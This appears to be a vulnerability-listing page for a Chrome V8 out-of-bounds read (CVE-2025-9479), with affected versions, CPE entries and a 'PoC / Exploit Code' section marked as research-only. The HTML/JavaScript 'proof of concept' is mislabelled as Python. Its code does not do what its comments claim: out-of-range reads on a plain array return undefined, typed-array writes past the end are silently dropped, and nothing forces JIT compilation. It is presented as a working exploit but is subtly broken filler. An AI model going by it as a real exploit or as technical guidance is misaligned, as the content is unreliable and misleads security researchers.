Out of bounds read in V8 in Google Chrome prior to 133.0.6943.141 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: Medium)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 133.0.6943.141
Chromium-based browsers with V8 < 133.0.6943.141
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-9479 PoC - V8 Out of Bounds Read -->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2025-9479 PoC</title>
</head>
<body>
<h1>V8 Out of Bounds Read PoC</h1>
<p>This is a demonstration of the V8 out of bounds read vulnerability.</p>
<script>
// PoC for CVE-2025-9479
// Target: Google Chrome < 133.0.6943.141
// Vulnerability: Out of bounds read in V8
function triggerV8OOB() {
try {
// Create an array with specific properties
const arr = new Array(10);
arr[0] = 1.1;
arr[1] = 2.2;
arr[2] = 3.3;
// Attempt to trigger the out of bounds condition
// This specific pattern may trigger the vulnerability
for (let i = 0; i < 1000; i++) {
// Create objects that may confuse V8's type inference
const obj = {};
obj.x = i;
obj.y = arr;
// Access pattern that may trigger OOB read
const idx = 15; // Beyond array bounds
const value = arr[idx];
// Force JIT compilation
if (i % 100 === 0) {
console.log('Attempt ' + i + ': value = ' + value);
}
}
console.log('PoC executed. Check for crashes or memory leaks.');
} catch (e) {
console.error('Error:', e);
}
}
// Execute the PoC
triggerV8OOB();
// Additional trigger attempts
function triggerOOBAdvanced() {
// More complex patterns that may trigger the vulnerability
const buffer = new ArrayBuffer(16);
const view = new Uint8Array(buffer);
// Attempt to read beyond buffer bounds
for (let i = 0; i < 32; i++) {
try {
view[i] = i;
// Force deoptimization and reoptimization
if (i === 16) {
console.log('Boundary reached');
}
} catch (e) {
console.log('OOB access detected at index ' + i);
}
}
}
triggerOOBAdvanced();
</script>
<p>For educational and security research purposes only.</p>
</body>
</html>